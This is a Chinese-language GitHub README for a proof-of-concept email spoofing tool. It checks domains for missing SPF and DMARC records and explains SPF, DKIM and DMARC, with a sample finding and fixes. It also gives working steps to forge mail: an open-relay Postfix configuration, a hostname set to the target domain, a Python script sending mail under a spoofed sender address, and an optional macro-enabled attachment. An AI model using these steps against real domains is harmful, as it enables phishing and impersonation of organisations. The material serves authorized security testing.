IvanGlinkin/HydrAttack-PoC-eMail-Spoofer-Module
GitHub: IvanGlinkin/HydrAttack-PoC-eMail-Spoofer-Module
HydrAttack PoC eMail Spoofer Module 用于检测并演示因缺少 SPF/DKIM/DMARC 而导致的邮件伪造风险。
Stars: 34 | Forks: 9
# HydrAttack PoC eMailSpoofer 模块
**HydrAttack** PoC eMail Spoofer 模块旨在测试域名防范电子邮件欺骗攻击的安全态势。它执行的步骤包括 SPF 和 DMARC 检查(该模块验证目标域名是否配置了 SPF 和 DMARC 记录)、欺骗尝试(如果域名缺乏适当的 SPF 和 DMARC 保护,该模块将启动一个 Web 服务器并尝试发送来自该域名的欺骗性电子邮件)以及验证(检查欺骗性电子邮件的送达情况,以评估现实世界中的利用风险)。
[](https://github.com/IvanGlinkin/media_support/raw/refs/heads/main/HydrAttack_Email_Spoofed_Module_POC.mov)
### 目录
[法律免责声明](#%EF%B8%8F-legal-disclaimer)\
[什么是 HydrAttack](#--what-is-hydrattack)\
[使用指南:详细版](#detailed-instruction)\
[使用指南:简短版](#short-instruction)\
[缺少 SPF/DKIM/DMARC 的风险](#the-risk-of-spfdkimdmarc-absent)\
[报告描述](#report-description)\
[逐步报告](#step-by-step-report)
### ⚠️ 法律免责声明
本软件及相关材料仅用于概念验证和 安全研究目的。严禁出于现实世界的网络钓鱼攻击、欺诈活动或任何恶意意图,未经授权使用此代码。
###
什么是 HydrAttack
外部攻击面管理系统 HydrAttack 是一个创新的风险管理平台,旨在帮助以全新的方式识别和缓解 Web 应用程序风险
### 使用指南
#### 详细说明
1. 安装 Docker(如果您已经安装过,请跳过此步骤)
* Ubuntu 官方页面:https://docs.docker.com/engine/install/ubuntu/
* Windows:https://docs.docker.com/desktop/setup/install/windows-install/
* MacOS:https://docs.docker.com/desktop/setup/install/mac-install/
2. 将存储库下载到您的个人电脑
* 使用 Git:`git clone https://github.com/IvanGlinkin/HydrAttack-PoC-eMail-Spoofer-Module.git`
* 下载 ZIP:https://github.com/IvanGlinkin/HydrAttack-PoC-eMail-Spoofer-Module/archive/refs/heads/main.zip
3. 进入文件夹
* U/Linux:`cd HydrAttack-PoC-eMail-Spoofer-Module`
* Windows:`dir HydrAttack-PoC-eMail-Spoofer-Module`
4. 创建镜像(请勿忘记末尾的点 (.) )
`docker build -t docker-hydrattack-poc-email-spoofer .`
5. 启动容器
`docker run -it --rm -e DOMAIN=abracadabra.ahha -e SENDTO=your@email.com -e USERNAME=spoofed -e ATTACH=/app/attachment.xlsm -v ./:/app docker-hydrattack-poc-email-spoofer`
* USERNAME - 发件人用户名,例如:*spoofed*@abracadabra.ahha
* DOMAIN - 测试域名,例如:*abracadabra.ahha*
* SENDTO - 接收报告的电子邮件地址,例如:*your@email.com*
* ATTACH - 附加到电子邮件的文件,例如:*attachment.xlsm*
#### 简短说明
```
cd ~/Documents
git clone https://github.com/IvanGlinkin/HydrAttack-PoC-eMail-Spoofer-Module.git
cd HydrAttack-PoC-eMail-Spoofer-Module
docker build -t docker-hydrattack-poc-email-spoofer .
docker run -it --rm -e DOMAIN=abracadabra.ahha -e SENDTO=your@email.com -e USERNAME=spoofed -e ATTACH=/app/attachment.xlsm -v ./:/app docker-hydrattack-poc-email-spoofer
```
### 缺少 SPF/DKIM/DMARC 的风险
每一块代码乃至每一个应用程序在编写时都应该采用安全的方式,以避免任何可能导致特定违规或数据泄露的错误。电子邮件机制也不例外,同样需要得到妥善的保护。在这篇知识库文章中,让我们来探讨一下帮助我们免受钓鱼欺骗的主要电子邮件身份验证机制。
**Sender Policy Framework** 也被称为 **SPF**,它有助于验证从某个域名发送的电子邮件是否来自授权的邮件服务器。因此,域名所有者会在 DNS(域名系统)中发布一条 SPF 记录,指定哪些邮件服务器有权代表该域名发送电子邮件。当收到电子邮件时,收件人的邮件服务器会检查发件域名的 SPF 记录。如果邮件来自授权的邮件服务器,它就会通过 SPF 验证;否则,它将无法通过 SPF 验证,并可能被标记为垃圾邮件或遭到拒收。
#### SPF 记录示例:
```
• Type: TXT
• Name: @
• Data: v=spf1 ip4:192.168.1.1 include:_spf.yourmailserver.com -all
• TTL: 1 hour
```
这意味着只有 192.168.1.1 和 yourmailserver 的邮件服务器被授权发送该域名的电子邮件
**DomainKeys Identified Mail** 也被称为 **DKIM**,是一种电子邮件身份验证方法,允许收件人验证电子邮件确实是由声明的发件人发送的,并且在传输过程中未被篡改。它通过向电子邮件添加数字签名来实现这一点。
域名所有者会生成一对密钥,其中公钥作为 TXT 记录发布在域名的 DNS 中,而私钥则安全地存储在发送邮件服务器上。
#### DKIM 记录示例:
```
• Type: TXT
• Name: dkim._domainkey
• Data: v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3DQE... (public key)
• TTL: 1 hour
```
当发送电子邮件时,邮件服务器使用私钥创建一个 DKIM 签名,该签名将作为特殊的 DKIM-Signature 标头添加到电子邮件中。接收邮件服务器从发件人的 DNS 中检索公钥,并使用它来验证 DKIM 签名。如果签名匹配,该邮件即通过 DKIM 身份验证。
**Domain-based Message Authentication, Reporting, and Conformance** 也被称为 **DMARC**,它建立在 SPF 和 DKIM 的基础之上,提供更严格的电子邮件身份验证和报告机制。它允许域名所有者指定收件人应如何处理未通过 SPF/DKIM 验证的电子邮件。
DMARC 记录同样发布在 DNS 中,如果一封电子邮件未能通过 SPF 或 DKIM 验证,收件人的邮件服务器将遵循 DMARC 策略:
```
• p=none: Take no action, just monitor
• p=quarantine: Mark as spam
• p=reject: Block the email entirely
```
#### DMARC 记录示例:
```
• Type: TXT
• Name: _dmark
• Data: v=DMARC1; p=reject; sp=reject; rua=mailto:reports@yourdomain.com; ruf=mailto:forensics@yourdomain.com; adkim=s; aspf=s
• TTL: 1 hour
```
这意味着所有未通过验证的电子邮件都将被拦截 (p=reject),有关攻击的报告将被发送到报告地址 (rua/ruf),并且启用了严格模式,确保 DKIM 签名必须完全匹配 (adkim=s)
sp=reject - 对您的子域名应用相同的规则
### 完整的安全设置:
1. SPF 确保电子邮件来自授权的邮件服务器。
2. DKIM 确保电子邮件未被篡改。
3. DMARC 根据 SPF/DKIM 的结果执行策略并提供报告。
### 报告描述
#### 描述
缺少 SPF/DMARC 记录导致 abracadabra.ahha 域名容易被冒充。
#### 影响
未经授权地从公司域名 - abracadabra.ahha 发送电子邮件,冒用其身份并助长网络钓鱼攻击的实施。
#### 建议
为域名配置具有合适策略的 SPF/DMARC 记录:
```
v=spf1 include:mx.abracadabra.ahha -all
v=DMARC1; p=quarantine; sp=reject; rua=mailto:dmarc-reports@abracadabra.ahha; ruf=mailto:dmarc-failures@abracadabra.ahha; pct=100;
```
#### 威胁
来自互联网的匿名攻击者
#### 评分
```
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N = 5.3 Medium
```
### 逐步报告
#### 步骤 1. 在 Ubuntu 上安装邮件服务器
```
sudo apt update
sudo apt install postfix
```
安装过程中设置以下键值:
```
General type of mail configuration? → Internet Site
System mail name? → abracadabra.ahha
```
#### 步骤 2. 设置 /etc/postfix/main.cf
```
smtpd_banner = $myhostname ESMTP
biff = no
append_dot_mydomain = no
readme_directory = no
compatibility_level = 3.6
smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
smtpd_tls_security_level=may
smtp_tls_CApath=/etc/ssl/certs
smtp_tls_security_level=may
smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache
smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination
myhostname = abracadabra.ahha
myorigin = abracadabra.ahha
mydestination = localhost
alias_maps = hash:/etc/aliases
alias_database = hash:/etc/aliase
relayhost =
mynetworks = 0.0.0.0/0
mailbox_size_limit = 0
recipient_delimiter = +
inet_interfaces = all
inet_protocols = all
smtpd_recipient_restrictions=permit_mynetworks,reject_unauth_destination
mynetworks=0.0.0.0/0
inet_interfaces = all
smtp_host_lookup=native
smtp_generic_maps = hash:/etc/postfix/generic
```
#### 步骤 3. 设置 /etc/postfix/generic 文件
```
spoofed@abracadabra.ahha mail@abracadabra.ahha
```
#### 步骤 4. 更改主机名
```
sudo hostnamectl set-hostname abracadabra.ahha
```
#### 步骤 5. 重启 postfix 以应用更改
```
sudo systemctl restart postfix
sudo systemctl enable postfix
```
#### 步骤 6. 创建 send_email.py 脚本
```
import smtplib
from email.mime.text import MIMEText
msg = MIMEText("Spoofing abracadabra.ahha emails")
msg["Subject"] = "abracadabra.ahha spoofing"
msg["From"] = "spoofed@abracadabra.ahha"
msg["To"] = "mail@hydrattack.com"
server = smtplib.SMTP("127.0.0.1", 25)
server.sendmail("spoofed@abracadabra.ahha", "mail@hydrattack.com", msg.as_string())
server.quit()
print("Email sent!")
```
#### 步骤 7. 运行脚本 - 发送欺骗性电子邮件
```
python3 send_email.py
```
标签:ESC8, PoC验证, SPF/DMARC检测, 安全测试, 攻击性安全, 社会工程学, 红队工具, 邮件安全